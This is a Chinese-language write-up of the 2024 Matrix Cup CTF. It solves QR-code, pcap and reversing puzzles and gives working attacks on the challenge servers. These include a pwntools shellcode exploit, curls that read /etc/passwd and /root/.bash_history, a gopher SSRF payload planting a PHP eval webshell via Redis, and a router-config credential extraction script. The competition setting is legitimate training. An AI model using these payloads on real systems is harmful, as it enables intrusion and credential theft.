2024矩阵杯misc,re,web,pwn解题思路

Misc

两极反转

题目所给的二维码是一个29x29的二维码,与正常的二维码比较发现,题目所给的二维码定位符有问题,再结合题目描述中的

两极反转,黑白不分 奇变偶不变,横变竖不变

可以推出从第9行开始,奇数行所有黑白反转,偶数行不变,直到倒数第九行

先写脚本将01数据拿出来写脚本

from PIL import Image

# 读取二维码图像
image = Image.open('qr.png')

# 将图像调整为 29x29 尺寸
image = image.resize((29, 29))

# 将图像转换为黑白模式(二值化)
bw_image = image.convert('1')

# 获取图像的像素数据
pixels = list(bw_image.getdata())

# 将黑色方块转换为 1,白色方块转换为 0,并一行一行输出
for i in range(29):
    print(''.join(['1' if pixels[i*29+j] == 0 else '0' for j in range(29)]))

得到

11111110111100001010001111111
10000010001101000110001000001
10111010001110111001001011101
10111010111010000010101011101
10111010000011010011101011101
10000010000000011101001000001
11111110101010101010101111111
00000000001001011110000000000
11010001001110110101001110110
01101101011010011011001101011
11100000100100100111110111000
00011100100111001001111101011
11011001100011001110110000100
01000100101011101000101000100
00110100010111000001110011000
11001100111110010011100110001
10000000011001001011110011101
00011001111101100000101001011
01100100111000000001110101000
01010000110001001101001001011
01001001010111111100000000100
00000000110111100001100011000
11111110010110011001101011111
10000010101000110010100010000
10111010101100110000111110011
10111010000111011101100011000
10111010110100000001111111101
10000010001100101000100011010
11111110000111110111110111011

从第九行开始翻转

def swap_zeros_and_ones(binary_str):
    result = ''
    for bit in binary_str:
        if bit == '0':
            result += '1'
        else:
            result += '0'
    return result

data = [
    "11010001001110110101001110110",
    "01101101011010011011001101011",
    "11100000100100100111110111000",
    "00011100100111001001111101011",
    "11011001100011001110110000100",
    "01000100101011101000101000100",
    "00110100010111000001110011000",
    "11001100111110010011100110001",
    "10000000011001001011110011101",
    "00011001111101100000101001011",
    "01100100111000000001110101000",
    "01010000110001001101001001011",
    "01001001010111111100000000100"
]

# 对每行进行处理
for index, line in enumerate(data):
    if index % 2 == 0:  # 奇数行
        print(swap_zeros_and_ones(line))
    else:  # 偶数行
        print(line)

翻转后得到

00101110110001001010110001001
01101101011010011011001101011
00011111011011011000001000111
00011100100111001001111101011
00100110011100110001001111011
01000100101011101000101000100
11001011101000111110001100111
11001100111110010011100110001
01111111100110110100001100010
00011001111101100000101001011
10011011000111111110001010111
01010000110001001101001001011
10110110101000000011111111011

最终的二维码数据是

11111110111100001010001111111
10000010001101000110001000001
10111010001110111001001011101
10111010111010000010101011101
10111010000011010011101011101
10000010000000011101001000001
11111110101010101010101111111
00000000001001011110000000000
00101110110001001010110001001
01101101011010011011001101011
00011111011011011000001000111
00011100100111001001111101011
00100110011100110001001111011
01000100101011101000101000100
11001011101000111110001100111
11001100111110010011100110001
01111111100110110100001100010
00011001111101100000101001011
10011011000111111110001010111
01010000110001001101001001011
10110110101000000011111111011
00000000110111100001100011000
11111110010110011001101011111
10000010101000110010100010000
10111010101100110000111110011
10111010000111011101100011000
10111010110100000001111111101
10000010001100101000100011010
11111110000111110111110111011

转换为二维码可得到:https://bahamas10.github.io/binary-to-qrcode/

 扫码得到flag:https://cli.im/deqr/other

 

Flag:flag{R3Ver5e_P014r17y}

真假补丁

根据上传的%E8%A1%A5%E4%B8%81.exe运行可以得到两个exe文件分别是补丁检测.exe和补丁修复.exe,其中有很多重要的信息可以推出是aes加密

再加上tcp追踪到的第二个流可以得到加密数据

先追踪tcp第一个流,可以发现上传了一个exe

导出对象中找到上传的%E8%A1%A5%E4%B8%81.exe

这是一个自解压的程序,点击运行之后会得到两个exe

查壳会发现修复的exe是一个python3.8的库,检测的exe也是一个python3.8的库

不知道怎么查看这两个exe,运行不了,就直接010editor搜索了,在修复.exe末尾发现aes加密

可以猜测key和iv是文件的md5值和affe01db6b79092b8(这里是17位,iv一般是16位,那么就是多了一个字符,需要删掉a,也就是iv=ffe01db6b79092b8

文件的md5值就是补丁检测.exe key=324dd63a6365ca7729c8f85b6e479834

加密的数据在tcp的第二个流中

cyberchef一把梭就可以得到flag了,还要注意的是data数据需要url解密一下

Flag:flag{84f6a6a2-7e96-4ac4-9a5b-4b05a252559f}

SPY2.0

在pcapng文件中导出图片

Steganography.js解密png图片

binwalk可以找到监察员lulu猪的照片,但是图片不全,也可以正常解出Flag

使用dd命令来提取偏移量为8849367(十六进制为0x8707D7)的位置处的PNG图像

dd if=attach.pcapng skip=8849367 bs=1 of=flag.png

搜索隐写术.js会发现其实就是Steganography.js

找到一个可以解密的在线网站:https://www.peter-eigenschink.at/projects/steganographyjs/showcase/

在线解密得到flag

Flag:flag{LUlu_p199y_0m8uD5m4N_rEp0r75_70_Y0U}

Pwn

fshell

花指令去除,类型转换,shellcode绕过

存在花指令,需要去花后才能正常反编译

登录函数gdb调式直接绕过

根据加密函数内容解下密就可以得到密码了

pd = "xiaaewzl"
en = ""
for x in range(len(pd)):
    for i in range(0,256):
        a = i
        if i<=96 or i>122:
            if i>64 and i<=90:
                a = (i-65+9)%26+65
        else:
            a = (i-97+9)%26+97
        if chr(a)==pd[x]:
            print(chr(i),end='')
            break

在Decrypted中存在函数直接调用写入的shellcode

但需要先去6功能中进行权限提升

但写入shellcode,需要条件,首先是从int型,除以我们控制的12的倍数后变为long double型,然后long double型变为float型去检查最后一字节要大于'J',所以这里的考点应该数类型的转化,这里直接用chatgpt给转一下

import ctypes
from pwn import *

context.arch = 'i386'

# 初始化一个 int 值
int2 = ctypes.c_int(0x3c)

# 修改内存内容的函数
def modify_memory(value, new_bytes):
    ptr = ctypes.pointer(value)
    byte_array = (ctypes.c_ubyte * len(new_bytes)).from_buffer_copy(new_bytes)
    ctypes.memmove(ptr, byte_array, len(new_bytes))

# 初始 float 值
float_rel = ctypes.c_float(1.0)

# 打印修改前的 float 内存表示
float_bytes_before = ctypes.string_at(ctypes.byref(float_rel), ctypes.sizeof(float_rel))
print(f"修改前的 float 内存表示: {' '.join(f'{b:02X}' for b in float_bytes_before)}")

#shellcode = asm('pop eax;push eax;pop ebx;gs') 
shellcode =  asm('') + b'K'  #保证最后一位是K
modify_memory(float_rel, shellcode)

# 打印修改后的 float 内存表示
float_bytes_after = ctypes.string_at(ctypes.byref(float_rel), ctypes.sizeof(float_rel))
print(f"修改后的 float 内存表示: {' '.join(f'{b:02X}' for b in float_bytes_after)}")

# 将修改后的 float 转换为 long double
mint = ctypes.c_longdouble(float_rel.value)

# 打印 long double 的内存表示
long_double_bytes = ctypes.string_at(ctypes.byref(mint), ctypes.sizeof(mint))
print(f"long double 的内存表示: {' '.join(f'{b:02X}' for b in long_double_bytes)}")

# 将 long double 转换为 int 并打印结果
x = mint.value * int2.value
print(x)

由于输入的是int型,4个字节,所以构造shellcode是只能控制前3个,一点一点改就ok

exp如下:

from pwn import *
from struct import *
from ctypes import *
from LibcSearcher import *
from functools import reduce
from z3 import *
import gmpy2
#import ctf_pb2

c = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# srop :    frame = SigreturnFrame()
# fmt :        fmtstr_payload(offset=7,writes={0x4031E0:0x0401445,0x403410:0x401445},numbwritten=((14*2)+1),write_size='short')

s    =    lambda a              :pw.send(a)
sl   =    lambda a              :pw.sendline(a)
sa   =    lambda a,b            :pw.sendafter(a,b)
sla  =    lambda a,b            :pw.sendlineafter(a,b)
r    =    lambda a=6666         :pw.recv(a)
rl   =    lambda                :pw.recvline()
ru   =    lambda a,b=True       :pw.recvuntil(a,b)
g64  =    lambda                :u64(pw.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
g32  =    lambda                :u32(pw.recvuntil(b'\xf7').ljust(4,b'\x00'))
gl   =    lambda a              :u64(pw.recvuntil(a,drop=True).ljust(8,b'\x00'))
gc   =    lambda a              :u64(pw.recv(7).rjust(8,b'\x00'))
pwpw =    lambda                :pw.interactive()
lss  =    lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
    
def sb(libc_base):
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def orw(libc_base):
    return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']

def search():
    libc = LibcSearcher("puts", puts)
    libc_base = puts - libc.dump("puts")
    system = libc.dump("system") + libc_base
    binsh = libc.dump("str_bin_sh") + libc_base
    return system,binsh

def dbg(a=''):
    if a !='':
        gdb.attach(pw,a) 
        pause()
    else:
        gdb.attach(pw)  
        pause()
    
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.arch='i386'
# context.arch = 'i386'
file = './main'
elf = ELF(file)
# libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')    
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug == 0:
    pw = process(file)
if debug == 1:
    pw = remote("pwn-ee4964bb96.challenge.xctf.org.cn", 9999, ssl=True)

#----------------------------------------------------------------------
dbg('b *0x804a08f')
def en(offset,text):
    sla(b'@@:',str(2))
    sla('offset:',str(offset))
    sla(b'encrypt:',text)
def de(offset,text):
    sla(b'@@:',str(3))
    sla('offset:',str(offset))
    sla(b'decrypt:',text)

sla(b'@@:',str(1))
sla(b'username:',b'user')
sla(b'password:',b'ozrrvnqc')

sla(b'@@:',str(6))
# dbg('b *0x804a203')
de(0,b'a'*20)

sl(str(858613440)) #asm('push eax;pop ebx;pop edx') + b'K'
sl(str(801569700)) # xchg ecx,ebx
sl(str(801180540)) # xor eax,eax
sl(str(518069940)) # add eax,3
sl(str(545641140)) #add ebx,10
sl(str(799384980)) #kkkk
sl(str(926035980)) #int 80
sl(str(0))

sl(asm('nop')*0x20+asm(shellcraft.sh()))
# sl(str(10000))
# dbg()
pwpw()

Web

where

┌──(kali㉿kali)-[/tmp]
└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/etc/passwd
抓紧找,着急下班root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
                                                                                                                                                                                                                                           
┌──(kali㉿kali)-[/tmp]
└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/app/app.py
打卡下班from flask import Flask,Response, request

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def index():
    return "flag被我藏起来了,/look一下file看看呢"
@app.route('/look', methods=['GET', 'POST'])
def readfile():
    if request.values.get('file'):
        file = request.values.get('file')
        f= open(file,encoding='utf-8')
        content=f.read() 
        f.close()
        if 'flag' in content:
            return  "打卡下班"+content
        else:
            return  "抓紧找,着急下班"+content
   
    return "找找看,我着急下班"

    

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
    
┌──(kali㉿kali)-[/tmp]
└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/root/.bash_history
打卡下班flag{hmkOEqSXHKHacrnYhSH9UvhUlkdlQrh5}

easyweb

访问/flag.php F12 下载 加密的代码.zip


              <?php
              if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) 
              {
                      echo 'welcome,admin';
                      $_SESSION['admin'] = True;
              } 
              else 
              {
                die('flag?');
              }
              ?>

              <?php
             if ($_SESSION['admin']) 
             {
               if(isset($_POST['code']))
               {
                       if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
                               echo 'no!';
                       elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
                               echo 'no!';
                        else
                                system($_POST['code']);
               }
             }
             ?>

tantantan

发现敏感文件 aaabbb.php

发现存在ssrf

ssrf内网探测 当探索redis服务时,明显的延时

尝试打redis

gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0aconfig%20set%20dbfilename%20shell.php%0D%0aset%20payload%20%22%3C%3Fphp%20eval(%5C%24_POST%5B1%5D)%3B%3F%3E%22%0D%0asave%0D%0aquit

getflag

IOT

special

binwalk分离出来一坨

直接字符搜索,什么huawei,tplink,totolink一个一个试

直接找到版本号,哪年的都找到了,直接cve

结合题目要求找到密码,找到一个适合的cve,搜索他的poc

找了我好久,下载直接利用即可,网站的poc是直接打开config.dat,由于我们不知道哪个文件是config.dat,就直接求助chatgpt改下脚本写个爆破即可,就是把每个文件都跑一遍

exp如下:

#!/bin/bash

if [ "$#" -ne 1 ]; then
    echo "Routers backed by Realtek hardware with Boa HTTP server and using apmib library for flash management."
    echo "Identitifed vulnerable vendors: Multiple vendors, e.g. TOTOLINK, CIK Telecom, Sapido Fibergate Inc., MAX-C300N, T-BROAD and possibly others.."
    echo ""
    echo "Credits: br0x | https://sploit.tech"
    echo ""
    echo "Usage: "
    echo "$0 directory"
    exit 1
fi

DIR=$1
OUTPUT_FILE="credentials.txt"

if [ ! -f decode ]; then
    echo -n "Compiling decoder.."
    cat <<EOF > decode.c
/**
 * Based on apmib.h from:
 * Copyright (C) 2006-2009 OpenWrt.org
 * Original author - David Hsu <davidhsu@realtek.com.tw>
 */

#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>

#define N         4096  /* size of ring buffer */
#define F           18  /* upper limit for match_length */
#define THRESHOLD   2   /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE   unsigned short
#define NIL         N   /* index for root of binary search trees */
struct lzss_buffer {
    unsigned char   text_buf[N + F - 1];
    LZSS_TYPE   lson[N + 1];
    LZSS_TYPE   rson[N + 257];
    LZSS_TYPE   dad[N + 1];
};
static LZSS_TYPE        match_position, match_length;  /* of longest match.  These are set by the InsertNode() procedure. */
static LZSS_TYPE        *lson, *rson, *dad;  /* left & right children & parents -- These constitute binary search trees. */


typedef struct compress_mib_header {
    unsigned char signature[6];
    unsigned short compRate;
    unsigned int compLen;
} COMPRESS_MIB_HEADER_T;

#define handle_error(msg) \
           do { perror(msg); exit(EXIT_FAILURE); } while (0)

int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput)  /* Just the reverse of Encode(). */
{
    
    int  i, j, k, r, c;
    unsigned int  flags;
    unsigned int ulPos=0;
    unsigned int ulExpLen=0;

    if ((text_buf = malloc( N + F - 1 )) == 0) {
        //fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__);
        return 0;
    }
    
    for (i = 0; i < N - F; i++)
        text_buf[i] = ' ';

        
    r = N - F;
    flags = 0;
    while(1) {
        if (((flags >>= 1) & 256) == 0) {
            c = ucInput[ulPos++];
            if (ulPos>inLen)
                break;
            flags = c | 0xff00;     /* uses higher byte cleverly */
        }                           /* to count eight */
        if (flags & 1) {
            c = ucInput[ulPos++];
            if ( ulPos > inLen )
                break;
            ucOutput[ulExpLen++] = c;
            text_buf[r++] = c;
            r &= (N - 1);
        } else {
            i = ucInput[ulPos++];
            if ( ulPos > inLen ) break;
            j = ucInput[ulPos++];
            if ( ulPos > inLen ) break;
            
            i |= ((j & 0xf0) << 4);
            j = (j & 0x0f) + THRESHOLD;
            for (k = 0; k <= j; k++) {
                c = text_buf[(i + k) & (N - 1)];
                ucOutput[ulExpLen++] = c;
                text_buf[r++] = c;
                r &= (N - 1);
            }
        }
    }

    free(text_buf);
    return ulExpLen;

}


void main(int argc, char**argv) {
           char *addr;
           int fd;
           struct stat sb;
           off_t offset, pa_offset;
           size_t length;
           ssize_t s;
           char* filename = "config.dat";

           COMPRESS_MIB_HEADER_T * header;

           if (argc>2) {
             printf("Wrong number of parameters!");
             exit(1);
           }
           if (argc==2) {
             filename=argv[1];
           }
           
           fd = open(filename, O_RDONLY);
           if (fd == -1)
               handle_error("open");

           if (fstat(fd, &sb) == -1)           /* To obtain file size */
               handle_error("fstat");


           addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

           header = (COMPRESS_MIB_HEADER_T*)addr;

           
           printf("%u\n", be16toh(header->compRate));
           printf("%u\n", be32toh(header->compLen));
           printf("%u\n", sb.st_size);
           unsigned char *expFile=NULL;
           expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));


           
           unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);

           printf("%u\n", expandLen);
           printf("%.*s\n",100, expFile);
           fwrite(expFile, 1, expandLen, stdout);
           //flash_read_raw_mib("config.dat");
}
EOF
    gcc -o decode decode.c
    echo "OK"
fi

echo "" > $OUTPUT_FILE

for config in "$DIR"/*; do
    if [ -f "$config" ]; then
        CMD="$(echo "$2" | perl -MURI::Escape -ne "chomp;print uri_escape(\$_),\"\\n\"")"
        P=$(./decode "$config" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
        U=$(./decode "$config" | xxd -p | tr -d '\n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)

        if [ -n "$U" ] && [ -n "$P" ]; then
            echo "File: $config" >> $OUTPUT_FILE
            echo "User: $U" >> $OUTPUT_FILE
            echo "Password: $P" >> $OUTPUT_FILE
            echo "" >> $OUTPUT_FILE
        fi
    fi
done

echo "Extraction complete. Credentials are stored in $OUTPUT_FILE"

跑完得到密码

Flag:flag{0e327444a0ef9a1819c341f396d97b18}

REVERSE

packpy

首先发现他是upx的壳,后面发现脱壳不成功,看了眼题目,直接去010看了一手

就是一个python,借助pycdc工具反编译

按照他的写法给base58解码然后zlib一下

由于我没有base58这个库,直接网站解码,然后保存文件

import zlib

file = open('1.dat','rb')

write = zlib.decompress(file.read())
file.close()

file = open('2.dat','wb')
file.write(write)

010一看就知道肯定是个pyc,但是缺少头,直接加上就ok

直接逆一逆写exp出flag

import random
encdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'

def generate_key(seed_value):
    key = list(range(256))
    random.seed(seed_value)
    random.shuffle(key)
    return bytes(key)


def encrypt(data, key):
    encrypted = bytearray()
    for byte in data:
        encrypted.append(key[byte] ^ 95)
    return bytes(encrypted)


# try:
#     flag = input('input your flag:')
#     key = generate_key(len(flag))
#     data = flag.encode()
#     encrypted_data = encrypt(data, key)
#     if encrypted_data == encdata:
#         print('good')
# finally:
#     pass
# return None

# encdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'
key = generate_key(len(encdata))

for byte in encdata:
    d = byte ^ 95
    print(chr(key.index(d)),end='')

Flag:flag{mar3hal_Is_3asy_t0_r3v3rse!!@}

  • 14
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值